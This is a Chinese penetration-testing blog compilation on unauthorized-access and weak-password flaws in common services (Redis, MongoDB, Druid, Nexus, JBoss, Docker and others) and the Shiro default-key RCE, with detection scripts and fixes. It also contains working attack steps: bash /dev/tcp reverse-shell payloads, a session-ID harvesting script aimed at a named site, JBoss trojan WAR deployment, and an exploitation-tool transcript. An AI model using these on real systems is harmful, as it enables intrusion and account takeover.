常见未授权弱口令组件总结

常见未授权弱口令组件总结

本文转自SAUCERMAN 并作补充
总结一些主机端口,web服务上的未授权弱口令漏洞,长期更新~

1. redis未授权

漏洞成因

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis因配置不当可以未授权访问。低版本的Redis,默认监听在0.0.0.0,且未开启访问认证,4.x版本开始默认监听在127.0.0.1,但仍未开启访问认证。可导致敏感信息泄露,也可以利用redis的备份功能来进行写文件的操作,从而可以写webshell,ssh密钥或者计划任务来getshell,在redis4.0+版本中,还可以利用主从复制来加载恶意so文件实现任意命令执行。
具体的利用方式介绍以前写过–>传送门

2. mongodb未授权

如果对外开放的MongoDB服务,未配置访问认证授权,则无需认证连接数据库后对数据库进行任意操作(增、删、改、查高危动作),存在严重的数据泄露风险。
3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。
3.0之前版本,如未添加用户管理员账号及数据库账号,使用–auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;
3.0及之后版本,使用–auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
漏洞检测脚本:

def mongo(host, port=27017):
socket.setdefaulttimeout(timeout)
payload = binascii.a2b_hex(
"430000000300000000000000d40700000000000061646d696e2e24636d640000000000ffffffff1c000000016c69737444617461626173657300000000000000f03f00")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)
recv_data = s.recv(1024)
if b"databases"in recv_data:
color_print.red(f"[+] mongodb is not authorized to access:{host}:{port}")
if b"Unauthorized" in recv_data:
color_print.green(f"[+] mongodb service detected (authorization required):{host}:{port}")
except:
# traceback.print_exc()
pass

3. 阿里 druid未授权

refer: https://www.cnblogs.com/cwkiller/p/12483223.html
这里说的druid和apache druid没有关系,是阿里巴巴开源的数据库连接池,能够提供强大的监控和扩展功能,当开发者配置不当时就可能造成未授权访问。其web页面包含着当前系统存在的session信息,sql交互信息还有系统的url接口等信息,未授权访问会泄露系统敏感信息,利用泄露的session和url接口还可以进入后台、查看到未授权接口。

1
2
3
4
5
常见Druid访问路径如下:

/druid/websession.html
/system/druid/websession.html
/webpage/system/druid/websession.html(jeecg)

image

利用方式

1.我们可以通过泄露的Session登录后台。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
通过以下脚本在/druid/websession.html页面提取出cookie:

import requests
domain = "http://dy.nnxy.cn"
url = f"{domain}/druid/websession.json?orderBy=&orderType=asc&page=1&perPageCount=1000000&"
r = requests.get(url)
f = open("sessions.txt", 'w', encoding='utf-8')
for session_item in r.json()["Content"]:
session = session_item["SESSIONID"]
f.write(session)
f.write("\n")
f.close

然后依次测试该cookie是否有效。可以用burpsuite也可以直接用python,随便了

2.有的Druid可能Session监控处没有东西,可以通过URI监控测试未授权和越权。
比如页面泄露了系统的url接口:/backstage/api/send_mobile_mess/18681772721/1
image
经过测试该接口为未授权的短信验证码发送接口,且发送频率无限制,短信轰炸漏洞一枚~

4. Nexus Repository Manager弱口令+rce

Sonatype Nexus Repository Manager(NXRM)是美国Sonatype公司的一款Maven仓库管理器。

漏洞1:弱口令

在3.17.0之前版本中存在安全漏洞,该漏洞源于默认的管理员账户密码被设置成admin/admin123。攻击者可利用该漏洞获取管理器的管理员权限实现接管。
利用姿势:refer:https://www.jianshu.com/p/1328a3e0689c
当登录后台后,我们可以
访问http://ip:port/#admin/system/tasks
选择Admin - Execute script
在Source处填写[‘/bin/bash’,’-c’,’/bin/bash -i >& /dev/tcp/IP/PORT 0>&1’].execute(),Task frequency选择manual。其他随意。
点击创建任务并手动启动
反弹shell成功

漏洞2:未授权的rce: CVE-2019-7238

其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。漏洞编号为CVE-2019-7238。
漏洞分析文章:
https://xz.aliyun.com/t/4136
https://www.anquanke.com/post/id/171116
docker漏洞复现:https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238
漏洞的exp: https://github.com/mpgn/CVE-2019-7238

5. genkins未授权访问

Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

1
2
3
4
5
点击"脚本命令执行", 执行系统命令:

println "whoami".execute().text

更多利用方式参考:https://www.secpulse.com/archives/2166.html

6. Memcached 未授权访问漏洞

Memcached 是一套常用的 key-value 分布式高速缓存系统,默认的 11211 端口不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
漏洞环境搭建:

下载64位系统 1.4.4版本:
http://static.runoob.com/download/memcached-win64-1.4.4-14.zip

解压压缩包到指定目录
使用管理员权限运行以下命令:
memcached.exe -d install
启动服务:
memcached.exe -d start
查看进程服务以及端口
netstat -ano | findstr 11211
tasklist | findstr memcached

漏洞poc

nc:
ubuntu@10-9-15-151:~$ echo stats | nc 111.233.137.90 11211
STAT pid 1340
STAT uptime 3055111422
STAT time 344865214
STAT version 1.4.4-14-g9c660c0
STAT pointer_size 64
STAT curr_connections 10
STAT total_connections 7034
STAT connection_structures 29
STAT cmd_get 901365
STAT cmd_set 38
STAT cmd_flush 0
STAT get_hits 694864
STAT get_misses 206501
STAT delete_misses 3
STAT delete_hits 7
STAT incr_misses
...
telnet
telnet 111.233.137.90 11211
stats
(退出按ctrl+],再输入quit)
nmap

ubuntu@10-9-15-151:~$ nmap -p 11211 --script memcached-info 111.233.137.111
Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-27 15:34 CST
Nmap scan report for 111.233.137.111
Host is up (0.18s latency).

PORT STATE SERVICE
11211/tcp open memcache
| memcached-info:
| Process ID 1340
| Uptime 3055111219 seconds
| Server time 1980-12-05T11:50:11
| Architecture 64 bit
| Current connections 10
| Total connections 7031
| Maximum connections 1024
| TCP Port 11211
| UDP Port 11211
|_ Authentication no

Nmap done: 1 IP address (1 host up) scanned in 12.73 seconds

python3

def memcached(host, port, timeout):
socket.setdefaulttimeout(timeout)
try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send("stats\r\n".encode())
recv_data = s.recv(1024)
s.close()
if recv_data and b"STAT pid" in recv_data:
return "memcached is unauthorized"
except:

pass
return None

修复方案
设置Memchached只允许本地访问。
禁止外网访问Memcached 11211端口。
配置访问控制策略。

7. JBoss未授权访问

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。

1
2
3
4
5
环境搭建:

docker search testjboss
docker pull testjboss/jboss:latest
docker run -p 8080:8080 -d testjboss/jboss

漏洞利用
直接访问http://10.40.59.29:8080/jmx-console/无需认证进入控制页面,点击jboss.deployment进入应用部署页面
image

本地将jsp木马打包成war:
jar cvf mmm.war xxx.jsp

然后放在公网服务器上,能够让jboss受害者访问,这里我的木马地址为:http://10.10.25.83:8000/mmm.war。
image

在jboss应用部署界面找到void addURL(),输入木马地址,点击Invoke:
image

成功部署:
image
此时访问http://10.40.59.29:8080/mmm即为我们的war木马。

8. ZooKeeper 未授权访问漏洞

zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
漏洞环境搭建

#搭建环境
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 启动

poc
# 1. nc
root@Test-WEB1-yanq:~# echo envi | nc 202.194.2.1 2181
Environment:
zookeeper.version=3.4.13-2d71af4dbe22557fda74f9a9b4309b15a7487f03, built on 06/29/2018 04:05 GMT
host.name=cf60dc070a78
java.version=1.8.0_181
java.vendor=Oracle Corporation
java.home=/usr/lib/jvm/java-1.8-openjdk/jre
java.class.path=/zookeeper-3.4.13/bin/../build/classes:/zookeeper-3.4.13/bin/../build/lib/*.jar:/zookeeper-3.4.13/bin/../lib/slf4j-log4j12-1.7.25.jar:/zookeeper-3.4.13/bin/../lib/slf4j-api-1.7.25.jar:/zookeeper-3.4.13/bin/../lib/netty-3.10.6.Final.jar:/zookeeper-3.4.13/bin/../lib/log4j-1.2.17.jar:/zookeeper-3.4.13/bin/../lib/jline-0.9.94.jar:/zookeeper-3.4.13/bin/../lib/audience-annotations-0.5.0.jar:/zookeeper-3.4.13/bin/../zookeeper-3.4.13.jar:/zookeeper-3.4.13/bin/../src/java/lib/*.jar:/conf:
java.library.path=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjdk/jre/../lib/amd64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
java.io.tmpdir=/tmp
java.compiler=<NA>
os.name=Linux
os.arch=amd64
os.version=4.4.0-116-generic
user.name=zookeeper
user.home=/home/zookeeper
user.dir=/zookeeper-3.4.13
root@Test-WEB1-yanq:~#

# 2. python

def zookeeper(host, port, timeout):
socket.setdefaulttimeout(timeout)

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send("envi".encode())
recv_data = s.recv(1024)
s.close()
if b'zookeeper.version' in recv_data:
color_print.red(f"[+] zookeeper is not authorized to access:{host}:{port}")
except:
pass

防御手段
添加访问控制,配置服务来源地址限制策略。
增加 ZooKeeper 的认证配置。

9. elasticsearch未授权访问

ElasticSearch是一个分布式的搜索引擎,Elasticsearch的增删改查操作全部由http接口完成。默认情况下Elasticsearch的http端口存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
漏洞复现

# elasticsearch需要JDK1.8+
# 创建elasticsearch用户,elasticsearch不能root执行
useradd elasticsearch
passwd elasticsearch
su elasticsearch

#下载环境
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip
# 解压并启动
unzip elasticsearch-5.5.0.zip
cd elasticsearch-5.5.0/bin
./elasticsearch

poc

# 1. curl
curl http://10.25.21.110:30183
{
"name" : "ZxlNoVu",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "gwFVSmsfQsaD3DhIV-GGRA",
"version" : {
"number" : "5.6.8",
"build_hash" : "688ecce",
"build_date" : "2018-02-16T16:46:30.010Z",
"build_snapshot" : false,
"lucene_version" : "6.6.1"
},
"tagline" : "You Know, for Search"
}

# 2. python
def poc(host, port, timeout):
try:
r = requests.get(f"http://{host}:{port}", timeout=timeout, allow_redirects=False, verify=False)
if "You Know, for Search" in r.text:
return "elasticsearch is unauthorized"
except:
pass
return None

防御手段
1.增加访问控制策略
2.在config/elasticsearch.yml中为9200端口设置认证等。

10 Samba未授权访问

Samba是一套实现SMB(Server Messages Block)协议、跨平台进行文件共享和打印共享服务的程序。如果配置不当,导致guest也可以访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from smb.SMBConnection import SMBConnection
try:
conn = SMBConnection("", "", "", "", use_ntlm_v2=True)
if conn.connect(host, port, timeout=timeout):
unauth_path = []
sharelist = conn.listShares()
for i in sharelist:
try:
conn.listPath(i.name, "/")
unauth_path.append(i.name)
except:
pass
if len(unauth_path) > 0:
print(f"smb unauthorised: directory:{'/'.join(unauth_path)}")
else:
print("smb service detected")
conn.close()
except:
pass

11 docker未授权访问

Docker是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。
Docker Remote API未授权
Docker的Remote API因配置不当可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可访问到Docker数据,可能导致敏感信息泄露,黑客也可以恶意删除Docker上的数据;攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。refer: https://help.aliyun.com/knowledge_detail/37517.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 1. 漏洞搭建

# 下载环境
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh
chmod 777 docker-entrypoint.sh # 给docker-entrypoint.sh权限
docker-compose build && docker-compose up -d # 编译并启动环境


exp:
https://github.com/Tycx2ry/docker_api_vul

poc:
docker -H tcp://192.168.15.5:2375 version
或者
r = requests.get(f"http://{host}:{port}/version", timeout=timeout, verify=False)
if "ApiVersion" in r.text:
return "docker remote api is unauthorized"

Docker Registry api 未授权
Docker Registry是一个无状态,高度可扩展的服务器端应用程序,可存储并允许用户使用HTTP API分发Docker映像。默认情况下Docker Registry未启用身份验证。
我们可以通过Docker Registry拉出任何容器映像并读取所有者进行的任何更改。还可以上传blob并对docker image进行更改。放置后门等。
refer:https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/
docker register api分为v1和v2版本。

1
2
3
4
5
6
7
8
9
10
11
exp:
https://github.com/NotSoSecure/docker_fetch

poc:
r = requests.get(f"http://{host}:{port}/v2/_catalog", timeout=timeout, verify=False)
if "repositories" in r.text:
return "docker Registry API is unauthorized"

r = requests.get(f"http://{host}:{port}/v1/_catalog", timeout=timeout, verify=False)
if "repositories" in r.text:
return "docker Registry API is unauthorized"

12 Rsync未授权

refer: https://github.com/vulhub/vulhub/tree/master/rsync/common
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

1
2
3
4
5
6
7
漏洞复现
docker复现即可 -> https://github.com/vulhub/vulhub/tree/master/rsync/common

poc
rsync rsync://your-ip:873/
或者
https://github.com/ysrc/xunfeng/blob/master/vulscan/vuldb/rsync_weak_auth.py

13. SpringBoot应用监控Actuator未授权

refer: https://xz.aliyun.com/t/2233
Actuator是Spring Boot提供的对应用系统的监控和管理的集成功能,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信以及Web请求的详细信息等。如果使用不当或者一些不经意的疏忽,可能造成信息泄露等严重的安全隐患。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
路径    描述
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

poc --> https://github.com/rabbitmask/SB-Actuator

修复建议:
实际上Spring Boot也提供了安全限制功能。比如要禁用/env接口,则可设置如下:
endpoints.env.enabled= false
如果只想打开一两个接口,那就先禁用全部接口,然后启用需要的接口:
endpoints.enabled = false
endpoints.metrics.enabled = true

Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)

Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)

本文转自xixiyuguang 并作补充

一.情况描述

1.漏洞描述

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。

2.漏洞造成的影响

在配置了默认密钥的情况下,攻击者可以通过精心构造的 Payload 实现远程命令执行,从而进一步获取服务器权限。

3.安全建议

升级shiro至最新版本1.7.0并生成新的密钥替换,注意妥善保管密钥,防止泄漏。利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

4.技术参考

漏洞验证工具:https://github.com/wyzxxz/shiro_rce

二.漏洞检测工具

1.下载地址

https://xz.aliyun.com/forum/upload/affix/shiro_tool.zip

2、操作命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
2020-10-16
放出来一些功能:
1、spring/tomcat回显,执行命令的时候,x=whoami 就行
2、批量检测是否shiro, java -cp shiro_tool.jar shiro.Check http://url 或者 java -cp shiro_tool.jar shiro.Check urls=文件
3、目标服务器不出网的情况下探测

其他:
后面看情况再放出一些更通用的和内存shell


2020-08-21:
新增了cc8 cc9 cc10利用链
新增了输出payload模式,在执行命令的时候输入output=on即可。
参考下面的示例


2020-05-26:
原来的停止服务了,请下载最新版本。


java -jar shiro_tool.jar https://xx.xx.xx.xx
nocheck --> skip check target is shiro or not.
key= --> set a shiro key.
req= --> request body file 抓包保存到文件里,这里写文件名
keys= --> keys file 自定义key的文件,key按行分割,即每行写一个

[admin@ shiro]java -jar shiro_tool.jar https://xx.xx.xx.xx/
[-] target: https://xx.xx.xx.xx/
[-] target is use shiro
[-] start guess shiro key.
[-] shiro key: kPH+bIxk5D2deZiIxcaaaA==
[-] check URLDNS
[*] find: URLDNS can be use
[-] check CommonsBeanutils1
[*] find: CommonsBeanutils1 can be use
[-] check CommonsCollections1
[-] check CommonsCollections2
[-] check CommonsCollections3
[-] check CommonsCollections4
[-] check CommonsCollections5
[-] check CommonsCollections6
[-] check CommonsCollections7
[-] check CommonsCollections8
[-] check CommonsCollections9
[-] check CommonsCollections10
[-] check Groovy1
[*] find: Groovy1 can be use
[-] check JSON1
[*] find: JSON1 can be use
[-] check Spring1
[*] find: Spring1 can be use
[-] check Spring2
[-] check JRMPClient
[*] find: JRMPClient can be use
[*] JRMPClient please use: java -cp shiro_tool.jar ysoserial.exploit.JRMPListener
0: URLDNS
1: CommonsBeanutils1
2: Groovy1
3: JSON1
4: Spring1
5: JRMPClient
[-] please enter the number(0-6)
3
[-] use gadget: JSON1
[*] command example: bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
[*] command example: curl dnslog.xx.com
[*] if need base64 command, input should startwith bash=/powershell=/python=/perl=
[-] please enter command, input q or quit to quit
> curl json.dnslog.xx.cn
[-] start process command: curl json.dnslog.xx.cn
[-] please enter command, input q or quit to quit
> bash=bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
[-] start process command: bash -c {echo,YmFzaD1iYXNoIC1pID4mIC9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzgwIDA+JjE=}|{base64,-d}|{bash,-i}
[-] please enter command, input q or quit to quit
> output=on
[-] print payload mode on.
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> whoami
kPH+bIxk5D2deZiIxcaaaA== - CommonsBeanutils1 - zEC2T+ZP+ib2g+NLMrrU0LRsNu3lr7kjq
82987eI8FZxA8ckaX8LsMNHdParxVS9aYg0Oxl91WD5GztG6Dmg/QO/sjxi+kX/sFpHgqwtG4MCQoogH
Jkhnj73PI6Wn8AJWQyXoOGNMkyboGcEm0Ti1h+WMGQEqw57tRl7Pjr0pMr2oZcUj9huwC/Lfr090FX7v
rPrU5JnQm2Qo7ZrMPnxENXs0yMT6HfU75OejeF6kXbWTaGlvfByscF1ljoDR/k2txdQ1eK4nZ4ReOAqM
uUeeaXwirEw2kg58GktvB2Ghw4egXJBQUdP3H8iE+zrkf12YlPs/RAOq8w0mWfvwB7EnCW3Z83YP8vV1
+reLT9oNyUpCfjKyQVodnpZJY7If4F9al8He7E832RR3mhFvsjJDyNFTbB4TPrRqFDehSVuHib5qkh0s
0YjvCGErxDLH9pFS4G9rNYQeAnXBKeNzS5q2O0xCe5xg4X6l8R6XsU2/V1d6wd27U7u18+DJlo/v58vj
SyUtUaEAAuMN9C30Rr+r7Tk9MVC55eS8l82fURpUwttcRADhJ0esKHAFFAkwnisbAb4Uugz3IADojYlH
BNFtWFuV2dsuqkionEROKLIdVHJGR8URmk79v8lbLbpCWI3cTCf81SwwBoYylKXCyHX2X08VlEUvuHWk
ypx9gVvDuQQQFTGP4ljwpU1NlQPqxaLXmnZ5TyJN2sycL9s8VWMYls4uFATtMkpXXcwaQGFVjCzFrABv
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> x=whoami
root

[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> quit
[-] start process command: quit
[-] quit

3、实际操作

java -jar shiro_tool.jar https://xx.xx.xx.xx/
image

三.shiro源码分析

1.当shiro版本是1.2.4

查看源码,源码中org.apache.shiro.mgt.AbstractRememberMeManager :其默认的秘钥为kPH+bIxk5D2deZiIxcaaaA==,这相当于shiro中如果没有配置秘钥,就会用这个,而这个秘钥又是众所周知的,所以系统很容易被绕过登录,直接进入后台
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

package org.apache.shiro.mgt;

public abstract class AbstractRememberMeManager implements RememberMeManager {

/**
* private inner log instance.
*/
private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);

/**
* The following Base64 string was generated by auto-generating an AES Key:
* <pre>
* AesCipherService aes = new AesCipherService();
* byte[] key = aes.generateNewKey().getEncoded();
* String base64 = Base64.encodeToString(key);
* </pre>
* The value of 'base64' was copied-n-pasted here:
*/
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

/**
* Serializer to use for converting PrincipalCollection instances to/from byte arrays
*/
private Serializer<PrincipalCollection> serializer;

/**
* Cipher to use for encrypting/decrypting serialized byte arrays for added security
*/
private CipherService cipherService;

/**
* Cipher encryption key to use with the Cipher when encrypting data
*/
private byte[] encryptionCipherKey;

/**
* Cipher decryption key to use with the Cipher when decrypting data
*/
private byte[] decryptionCipherKey;

/**
* Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
* an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
*/
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

2.当shiro版本是 >=1.2.5时

动态生成秘钥,注意这块代码

1
2
3
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

package org.apache.shiro.mgt;


public abstract class AbstractRememberMeManager implements RememberMeManager {

/**
* Cipher encryption key to use with the Cipher when encrypting data
*/
private byte[] encryptionCipherKey;

/**
* Cipher decryption key to use with the Cipher when decrypting data
*/
private byte[] decryptionCipherKey;

/**
* Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
* an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
*/
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}


public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}

四.springmvc修改

1.修改pom.xml配置

升级shiro版本1.7.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!-- 升级shiro到1.2.5及以上 -->
<shiro.version>1.7.0</shiro.version>


<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>${shiro.version}</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>${shiro.version}</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-cas</artifactId>
<version>${shiro.version}</version>
<exclusions>
<exclusion>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>${shiro.version}</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-ehcache</artifactId>
<version>${shiro.version}</version>
</dependency>

2.增加一个自定义秘钥代码

参考官方的:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
 

import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AbstractSymmetricCipherService;
import org.aspectj.apache.bcel.generic.IINC;

import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;

import java.security.Key;
import java.security.NoSuchAlgorithmException;

/**
* shiro 秘钥生成器
*
* @author yuguang shiro有自己的随机生成秘钥的方法 秘钥生成器
*
*
*/
public class MySymmetricCipherService extends AbstractSymmetricCipherService {



protected MySymmetricCipherService(String algorithmName) {
super(algorithmName);
// TODO Auto-generated constructor stub
}

public static byte[] generateNewKeyFromSuper() {
KeyGenerator kg;
try {
kg = KeyGenerator.getInstance("AES");
} catch (NoSuchAlgorithmException var5) {
String msg = "Unable to acquire AES algorithm. This is required to function.";
throw new IllegalStateException(msg, var5);
}

kg.init(128);
SecretKey key = kg.generateKey();
byte[] encoded = key.getEncoded();
return encoded;
}



/**
* 使用shiro官方的生成
* org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
* @return
*/
public static byte[] getCipherKey() {
MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
Key gKey = mySymmetricCipherService.generateNewKey();
return gKey.getEncoded();
}

public static void main(String[] args) {
MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
Key gKey = mySymmetricCipherService.generateNewKey();
System.out.println("key: " + gKey.getEncoded());
System.out.println("key Base64.encodeToString: " + Base64.encodeToString(gKey.getEncoded()));

byte[] decodeValue = org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag==");
System.out.println("decodeValue: " + decodeValue);
}

}

3.修改shiro配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!-- 定义Shiro安全管理配置 -->
<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="realm" ref="systemAuthorizingRealm" />
<property name="sessionManager" ref="sessionManager" />
<property name="cacheManager" ref="shiroCacheManager" />
<!-- 加入rememberMe的配置管理 -->
<property name="rememberMeManager" ref="rememberMeManager" />
</bean>


<!-- rememberMe管理器 -->
<bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
<!-- <property name="cipherKey" value="#{T(org.apache.shiro.codec.Base64).decode('xxxxxxxxxxxx==')}" /> -->
<property name="cipherKey" value="#{T(com.xxx.xxx.MySymmetricCipherService).getCipherKey()}" />
<property name="cookie" ref="rememberMeCookie" />
</bean>

<!-- remenberMe配置 -->
<bean id="rememberMeCookie" class="org.apache.shiro.web.servlet.SimpleCookie">
<constructor-arg value="rememberMe" />
<property name="httpOnly" value="true" />
<!-- 默认记住7天(单位:秒) -->
<property name="maxAge" value="604800" />
</bean>

4.修改完之后测试

image

CVE-2021-30179:Apache Dubbo RCE复现

CVE-2021-30179:Apache Dubbo RCE复现

本文转自Timeline Sec 并作补充

0x01 简介

Apache Dubbo是一个分布式框架,致力于提供高性能透明化的RPC远程服务调用方案,以及SOA服务治理方案。Apache Dubbo在实际应用场景中主要负责解决分布式的相关需求。

0x02 漏洞概述

